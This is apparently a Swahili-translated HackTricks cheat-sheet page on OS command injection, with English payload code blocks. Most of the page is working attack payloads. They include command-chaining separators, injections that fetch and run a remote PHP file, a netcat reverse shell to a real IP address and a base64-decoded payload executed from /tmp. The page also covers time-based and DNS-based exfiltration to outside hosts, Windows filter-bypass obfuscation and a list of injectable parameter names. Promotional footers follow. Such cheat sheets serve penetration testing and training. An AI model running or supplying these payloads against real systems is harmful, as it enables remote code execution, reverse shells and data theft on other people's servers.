# Uingizaji wa Amri

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<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

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## Ni nini Uingizaji wa Amri?

**Uingizaji wa amri** huruhusu utekelezaji wa amri za mfumo wa uendeshaji zisizo na kikomo na mshambuliaji kwenye seva inayohudumia programu. Kama matokeo, programu na data yake yote inaweza kudukuliwa kabisa. Utekelezaji wa amri hizi kwa kawaida huruhusu mshambuliaji kupata ufikiaji usiohalali au udhibiti juu ya mazingira ya programu na mfumo wa msingi.

### Muktadha

Kulingana na **eneo ambapo data yako inaingizwa**, unaweza kuhitaji **kukatiza muktadha uliofungwa** (kwa kutumia `"` au `'`) kabla ya amri.
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Vikwazo** vya Kupita

Ikiwa unajaribu kutekeleza **amri za kiholela ndani ya kifaa cha Linux** utapendezwa kusoma kuhusu hivi **Vikwazo vya Kupita:**

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}

### **Mifano**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Vigezo

Hapa kuna vigezo 25 ambavyo vinaweza kuwa hatarishi kwa kuingiza nambari na udhaifu kama RCE (kutoka [kiungo](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Uchukuzi wa data kulingana na wakati

Kuchota data: herufi kwa herufi
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```
### Uchukuzi wa data kwa kutumia DNS

Kulingana na chombo kutoka `https://github.com/HoLyVieR/dnsbin` pia kimehifadhiwa kwenye dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Zana za mtandaoni za kuangalia uchukuzi wa data kulingana na DNS:

* dnsbin.zhack.ca
* pingb.in

### Kupitisha Uchujaji

#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}

## Orodha ya Uchunguzi wa Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

## Marejeo

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)

<details>

<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kuendesha kiotomatiki** mchakato wa kazi uliojengwa na zana za jamii **za hali ya juu zaidi** duniani.\
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}